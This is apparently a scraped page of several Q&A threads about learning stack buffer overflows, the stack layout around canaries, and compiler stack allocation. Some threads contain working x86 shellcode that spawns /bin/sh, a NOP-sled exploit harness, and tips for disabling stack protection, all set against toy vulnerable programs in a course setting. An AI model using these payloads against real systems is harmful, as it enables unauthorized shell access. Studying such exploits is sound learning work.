I'm learning buffer overflows, and I have a problem with exploiting a stack based buffer overflow.
Here is my program:
#include <stdio.h>
void func(){
printf("asd");
}
main(){
char buf[10];
scanf("%s", &buf);
}
I'm overwriting first 14 bytes with A's(the buffer and the old EIP address). My goal is to execute the func function, or to change the EIP with it's address. But I'm always getting illegal instruction. I have check the HEX address of the function; I have written them in reverse order and they are correct.
You will have to look at the compiled code in assembler e.g.
your main() may look like:
char buf[10];
scanf("%s", &buf);
00D7B938 mov esi,esp
00D7B93A lea eax,[ebp-14h]
00D7B93D push eax
00D7B93E push offset string "%s" (0D818D4h)
00D7B943 call dword ptr [__imp__scanf (0D89684h)]
You'll have to debug to see what is actually on the stack at this point, e.g. if you are compiling in debug, it is highly likely there's a lot more on the stack than you may think !
Related
I have an 64-bits ELF binary. I don't have its source code, don't know with which parameters it was compiled, and am not allowed to provide it here. The only relevant information I have is that the source is a .c file (so no hand-crafted assembly), compiled through a Makefile.
While reversing this binary using IDA, I stumbled upon an extremely weird construction I have never seen before and absolutely cannot explain. Here is the raw decompilation of one function with IDA syntax:
mov rax, [rsp+var_20]
xor rax, fs:28h
jnz location
add rsp, 28h
pop rbx
pop rbp
retn
location:
call __stack_chk_fail
nop dword ptr [rax]
db 2Eh
nop word ptr [rax+rax+00000000h]
...then dozens of instructions of normal and functional code
Here, we have a simple canary check, where we return if it is valid, and call __stack_chk_fail otherwise. Everything is perfectly normal. But after this check, there is still assembly, and of fully-functional code.
Looking at the manual of __stack_chk_fail, I made sure that this function does exit the program, and that there is no edge case where it could continue:
Description
The interface __stack_chk_fail() shall abort the function that called it with a message that a stack overflow has been detected. The program that called the function shall then exit.
I also tried to write this small C program, to search for a method to reproduce this:
#include <stdio.h>
#include <stdlib.h>
int foo()
{
int a = 3;
printf("%d\n", a);
return 0;
int b = 7;
printf("%d\n", b);
}
int main()
{
foo();
return 0;
}
But the code after the return is simply omitted by gcc.
It does not appear either that my binary is vulnerable to a buffer overflow that I could exploit to control rip and jump to the code after the canary check. I also inspected every call and jumps using objdump, and this code seems to never be called.
Could someone explain what is going on? How was this code generated in the first place? Is it a joke from the author of the binary?
I suspect you are looking at padding, followed by an unrelated function that IDA does not have a name for.
To test this hypothesis, I need the following additional information:
The address of the byte immediately after call __stack_chk_fail.
The next higher address that is the target of a call or jump instruction.
A raw hex dump of the bytes in between those two addresses.
The disassembly of four or five instructions starting at the next higher address that is the target of a call or jump instruction.
I'm following the opensecuritytraining course "exploits 1". Currently I'm trying to exploit a simple c program with some shellcode on a 32 bit linux system using a buffer overflow. The c program:
void main(int argc, char **argv)
{
char buf[64];
strcpy(buf,argv[1]);
}
I compiled the program using the command "tcc -g -o basic_vuln basic_vuln.c". Then, I programmed the following shellcode.
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 11
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
int 0x80
I compiled it by typing "nasm -f elf shell.asm; ld -o shell shell.o". When I try to execute "shell" on it's own, it works and I get a shell. Next, I disassembled the program with objdump, wrote a perl file which prints the opcodes, and then redirected the output of said perl file along with 39 nop instructions before the shellcode to a file called "shellcode", so the payload is now 64 bytes long, filling the buffer. Then, I opened the c program in gdb, and picked an address in the middle of the nop sled, which will be the new return address (0xbffff540). I appended the address to the "shellcode" file, along with 4 bytes to overwrite the saved frame pointer. The shellcode looks like this:
Now, when I try to run this shellcode in gdb in the c program, it causes a segmentation fault at address 0xbffff575, which points at a certain point in my shellcode, 0x62, which is the character "b" in "/bin/sh". What could cause this?
Here's my stack frame, confirming that the return address I choose does return to the middle of the nop sled.
The course does provide shellcode that does work in gdb in the c program:
After main returns into your shellcode, ESP will probably be pointing just above that buffer. And EIP is pointing to the start of it; that's what returning into it means.
A couple push instructions may modify the machine code at the end of the buffer, leading to a SIGILL with EIP pointing at a byte you just pushed.
Probably the easiest fix is add esp, -128 to go all the way past your buffer. Or sub esp, -128 to go higher up the stack. (-128 is the largest magnitude 8-bit immediate you can use, avoiding introducing zeros in the machine code with sub esp, 128 or 1024. If you wanted to move the stack farther, you could of course construct a larger value in a register.)
I didn't test this guess, but you can confirm it in GDB by single-stepping into your shellcode with si from the end of main to step by instructions.
Use disas after each instruction to see disassembly. Or use layout reg. See the bottom of https://stackoverflow.com/tags/x86/info for more GDB debugging tips.
The given solution is more complicated because it apparently sets up an actual argv array instead of just passing NULL pointers for char **argv and char **envp. (Which on Linux is treated the same as valid pointers to empty NULL-terminated arrays: http://man7.org/linux/man-pages/man2/execve.2.html#NOTES).
But the key difference is that it uses jmp/call/pop to get a pointer to a string already in memory. That's only one stack slot not three. (The end of its payload before the return address is data, not instructions, but it would fail in a different way if it did too many pushes and overwrote the string instead of just storing a 0 terminator. The call jumps backwards before the pushed return address actually modifies the buffer, but if it did overwrite anything near the end it would still break.)
#Margaret looked into this in more detail, and spotted that it's only the 3rd push that breaks anything. That makes sense: the first 2 are presumably overwriting the part of the payload that contained the new return address and the saved EBP value. And it just so happened that the compiler put main's buffer contiguous with that.
If you actually used tcc not gcc, that's probably not a surprise. GCC would have aligned it by 16 and probably for one reason or another left a gap between the buffer and the top of the stack frame.
This question comes from answering Stack Overflow question Why do books say, “the compiler allocates space for variables in memory”?, where I tried to demonstrate to the OP what happens when you allocate a variable on the stack and how the compiler generates code that knows the size of memory to allocate. Apparently the compiler allocates much more space than what is needed.
However, when compiling the following
#include <iostream>
using namespace std;
int main()
{
int foo;
return 0;
}
You get the following assembler output with Visual C++ 2012 compiled in debug mode with no optimisations on:
int main()
{
00A31CC0 push ebp
00A31CC1 mov ebp,esp
00A31CC3 sub esp,0CCh // Allocates 204 bytes here.
00A31CC9 push ebx
00A31CCA push esi
00A31CCB push edi
00A31CCC lea edi,[ebp-0CCh]
00A31CD2 mov ecx,33h
00A31CD7 mov eax,0CCCCCCCCh
00A31CDC rep stos dword ptr es:[edi]
int foo;
return 0;
00A31CDE xor eax,eax
}
Adding one more int to my program makes the commented line above to the following:
00B81CC3 sub esp,0D8h // Allocate 216 bytes
The question raised by #JamesKanze in my answer linked atop, is why the compiler, and apparently it's not only Visual C++ (I haven't done the experiment with another compiler), allocated 204 and 216 bytes respectively, where in the first case it only needs four and in the second it needs only eight?
This program creates a 32-bit executable.
From a technical perspective, why may it need to allocate 204 bytes instead of just 4?
EDIT:
Calling two functions and creating a double and two int in main, you get
01374493 sub esp,0E8h // 232 bytes
For the same program as the edit above, it does this in release mode (no optimizations):
sub esp, 8 // Two ints
movsd QWORD PTR [esp], xmm0 // I suspect this is where my `double` goes
This extra space is generated by the /Zi compile option. Which enables Edit + Continue. The extra space is available for local variables that you might add when you edit code while debugging.
You are also seeing the effect of /RTC, it initializes all local variables to 0xcccccccc so that it is easier to diagnose problems due to forgetting to initialize variables. Of course none of this code is generated in the default Release configuration settings.
I try to get a Buffer Overflow to work. I have the following simple vulnerable Program:
int main(int argc, char** argv) {
char buffer[80];
strcpy(buffer,argv[1]);
return 1;
}
With the following Program i want to get a Shell with an Buffer Overflow.
char shellcode[]=
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80";
char retaddr[] = "\xa8\xd5\xff\xff";
#define NOP 0x90
int main() {
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=",4);
memcpy(buffer+4,shellcode,24);
memcpy(buffer+88,retaddr,4);
memcpy(buffer+92, "\x00\x00\x00\x00",4);
putenv(buffer);
printf("%p\n", buffer);
system("/bin/sh");
return 0;
}
This Program creates an Buffer with the shellcode at Beginning. After the Shellcode are some NOP Instruction and then the value that overrides the Return Address and points to the beginning of the Shellcode. Then it creates an Environment Variable with the buffer and starts a Shell.
If i run that program the shell started and the environment Variable is set. But if i try to run the vulnerable Program with the environment Variable as Parameter i get an segmentation fault.
Here are some Screens with gdb:
I don't have enough reputation to post images directly so here is the link to an imgur album with the 4 pictures in it.
The first picture shows the Stack before the strcpy happens.
The second one shows argv 1
The third picture shows the stack after the strcpy.
If you can see 0xf7e00497 is the return address. If i disassamble this address the code for the libc function is shown.
In the third picture you see that this address is overridden by the address 0xffffd5a8 witch points to the top of the stack.
In Picture Number 4 you see the segmentation fault if the programm countinous to run.
Can anybody tell my why? Everything seems to be okay?
I compiled both programmes with the -fno-stack-protector option of gcc.
Thanks #type1232, the issue was that the stack is not executable.
With execstack -s vulProg, the shellcode will run.
I am a beginner at assembly, and I am curious to know how the stack frame looks like here, so I could access the argument by understanding and not algorithm.
P.S.: the assembly function is process
#include <stdio.h>
# define MAX_LEN 120 // Maximal line size
extern int process(char*);
int main(void) {
char buf[MAX_LEN];
int str_len = 0;
printf("Enter a string:");
fgets(buf, MAX_LEN, stdin);
str_len = process(buf);
So, I know that when I want to access the process function's argument, which is in assembly, I have to do the following:
push ebp
mov ebp, esp ; now ebp is pointing to the same address as esp
pushad
mov ebx, dword [ebp+8]
Now I also would like someone to correct me on things I think are correct:
At the start, esp is pointing to the return address of the function, and [esp+8] is the slot in the stack under it, which is the function's argument
Since the function process has one argument and no inner declarations (not sure about the declarations) then the stack frame, from high to low, is 8 bytes for the argument, 8 bytes for the return address.
Thank you.
There's no way to tell other than by means of debugger. You are using ia32 conventions (ebp, esp) instead of x64 (rbp, rsp), but expecting int / addresses to be 64 bit. It's possible, but not likely.
Compile the program (gcc -O -g foo.c), then run with gdb a.out
#include <stdio.h>
int process(char* a) { printf("%p", (void*)a); }
int main()
{
process((char *)0xabcd1234);
}
Break at process; run; disassemble; inspect registers values and dump the stack.
- break process
- run
- disassemble
- info frame
- info args
- info registers
- x/32x $sp - 16 // to dump stack +-16 bytes in both side of stack pointer
Then add more parameters, a second subroutine or local variables with known values. Single step to the printf routine. What does the stack look like there?
You can also use gdb as calculator: what is the difference in between sp and rax ?
It's print $sp - $rax if you ever want to know.
Tickle your compiler to produce assembler output (on Unixy systems usually with the -S flag). Play around with debugging/non-debugging flags, the extra hints for the debugger might help in refering back to the source. Don't give optimization flags, the reorganizing done by the compiler can lead to thorough confusion. Add a simple function calling into your code to see how it is set up and torn down too.